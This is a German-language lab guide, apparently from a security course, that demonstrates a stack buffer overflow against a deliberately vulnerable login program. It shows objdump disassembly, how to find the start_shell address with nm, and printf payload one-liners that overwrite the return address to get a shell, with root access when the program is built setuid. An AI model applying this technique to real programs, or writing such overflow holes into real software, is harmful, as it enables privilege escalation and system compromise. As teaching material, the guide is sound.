Hinweis zu zusätzlichen Dateien:
- Die Datei login.c enthält den Quelltext für unser anzugreifendes login-Programm.
- Die Datei login_old.c enthält eine ältere Version davon, in dem das Passwort
  im Klartext steht. Das macht die Sache recht witzlos, da es dann z.B. mit
  'strings login' relativ leicht gefunden werden kann.
- Die Datei Befehle.txt bietet eine Auflistung aller Befehle, die für den Angriff benötigt werden.
  Die Rücksprungadresse muss beim Einschleusen an die Information aus nm angepasst werden.
- Die Datei ablage.txt kann genutzt werden, um die Rücksprungadresse  
  zwischenzuspeichern und später in den Befehl für den Angriff zu übertragen.


0.) das Opfer
-------------

- Simples login-Programm login.c
- Übersetzen mit 'make'
- Für noch besseren Effekt -> anschließend make setuid_root (root-rechte nötig)
  Unter Ubuntu (bzw. allen, die sudo installiert haben): Einfach nur "make setuid_root" aufrufen


1.) mal in den Assemblercode der auszuhebelnden Funktion gucken
---------------------------------------------------------------

- 'objdump -d login | less'
- In der Ausgabe mit '/scanf' oder '/gets' nach der gets Funktion suchen
  (als würde man ein unbekanntes Programm nach
  Sicherheitslücken durchsuchen) und etwas nach oben scrollen.
0000000000400846 <ask_passwd>:
  400846: 55                       push   %rbp
  400847: 48 89 e5                 mov    %rsp,%rbp
  40084a: 48 83 ec 10              sub    $0x10,%rsp
  40084e: 48 8d 3d a4 01 00 00     lea    0x1a4(%rip),%rdi
  400855: b8 00 00 00 00           mov    $0x0,%eax
  40085a: e8 31 fe ff ff           callq  400690 <printf@plt>
  40085f: 48 8d 45 f8              lea    -0x8(%rbp),%rax
  400863: 48 89 c6                 mov    %rax,%rsi
  400866: 48 8d 3d 97 01 00 00     lea    0x197(%rip),%rdi
  40086d: b8 00 00 00 00           mov    $0x0,%eax
  400872: e8 69 fe ff ff           callq  4006e0 <scanf@plt>

 8048554:       55                      push   %ebp
 8048555:       89 e5                   mov    %esp,%ebp
 8048557:       83 ec 18                sub    $0x18,%esp
 804855a:       c7 04 24 20 87 04 08    movl   $0x8048720,(%esp)
 8048561:       e8 fe fe ff ff          call   8048464 <printf@plt>
 8048566:       8d 45 f8                lea    -0x8(%ebp),%eax
 8048569:       89 04 24                mov    %eax,(%esp)
 804856c:       e8 83 fe ff ff          call   80483f4 <gets@plt>

- okay, als erstes wird der Framepointer (%rbp) gepusht, dann der Stackpointer (%rsp) nach %rbp kopiert
--> %rbp ist der für diese Funktion aktuelle Framepointer, zeigt auf den *letzten* gesicherten Framepointer
- Layout wie im Bild auf den Folien
- gets/scanf bekommt als Parameter %rbp-8 (das ist die Adresse des Puffers), bei %rbp+8 liegt die Rücksprungadresse
--> zwischen Beginn des Puffers und Beginn der Rücksprungadresse liegen 16 Bytes
- Mit 'q' kommt man aus der objdump Anzeige wieder raus

Manche gcc-Versionen produzieren hier "lea -0x10(%rbp,%rax)", d.h. Parameter
ist %rbp-16 und es sind 24 Bytes zwischen Pufferbegin und Rücksprungadresse.


2.) gewünschte Rücksprungadresse rauskriegen
--------------------------------------------

- 'nm login'
- ganz unten steht die Adresse des Symbols start_shell:
z.B. 00000000004008a1 T start_shell
--> dahin wollen wir das Programm springen lassen

Wenn hier eine ungewöhnlich kleine Adresse steht (z.B. 00000000000009ca) sind
vermutlich PIE und ASLR aktiv, womit die Demo nicht funktioniert. Dann im
Makefile das Flag -no-pie aktivieren und mit make -B neu kompilieren


3.) Überschreiben der Rücksprungadresse
---------------------------------------

 - 16 (oder 24) Bytes "Müll" in den Puffer schreiben, dazu gibt man beliebige 16/24 Buchstaben ein
 - danach die 8 Bytes der gewünschten Rücksprungadresse (z.B. '080485ab') in
   umgedrehter Reihenfolge (Little-Endian!, also z.B. 'a108400000000000' und
   richtig kodiert, also '\xa1\x08\x40\x00\x00\x00\x00\x00')

( printf "1234567812345678\xa1\x08\x40\x00\x00\x00\x00\x00\n" ; cat /dev/stdin ) | ./login

bzw.

( printf "123456781234567812345678\xa1\x08\x40\x00\x00\x00\x00\x00\n" ; cat /dev/stdin ) | ./login

Der erste '12345678'-Block ist für das Überschreiben des Passwortpuffers (buf),
der letzte '12345678'-Block überschreibt den Framepointer (der uns nicht
interessiert). Der mittlere '12345678'-Block bei der 24 Byte-Variante
überschreibt den leeren Platz dazwischen (ist uns auch egal). Dann kommt
die '\xa1\x08\x40\x00\x00\x00\x00\x00' als neue Rücksprungadresse.

Der Befehl `cat /dev/stdin` ist nötig, damit die Shell nicht direkt wieder 
beendet wird und die Ausgabe an den User weitergegeben wird. 

Die gekaperte Shell ist nichtinteraktiv, d.h. es ist kein Prompt zu sehen.  Es
erscheint einfach nur die Meldung "Passwort: Falsches Passwort! Starte Shell
als Nutzer ..." und dann eine neue Zeile.  Hier in diese neue Zeile kann man
nun Befehle eingeben und ausfuehren. Eindrucksvoll ist z.B.  'id' (wenn make
setuid_root gemacht wurde), oder das Anlegen einer Datei in '/'.  Eine neue
Datei 'mycode.c' erzeugt man im root Verzeichnis mit der Eingabe von 'touch
/mycode.c'.  Dann kann man noch 'mousepad' starten und mycode.c bearbeiten. Es
wird auch eine sehr schöne rote Warnmeldung in mousepad angezeigt: 'Achtung,
Sie arbeiten mit Superuser-Rechten und können Ihr System beschädigen.'

Troubleshooting: Wenn nach dem printf und dem Eingeben vom z.B. 'id' ein
Speicherzugriffsfehler kommt, dann stimmt mit dem printf aufruf was nicht. Dann
noch mal genau den Aufruf und die Adresse überprüfen. Eventuell enthält
die Rücksprungadresse auch ASCII-Bytes für Leerzeichen oder Tab, dann müsst ihr
das Programm in der gets-Variante übersetzen (gets-Deklaration auskommentieren
und scanf durch "gets(buf);" ersetzen) und nochmal neu in objdump und nm
reinschauen.
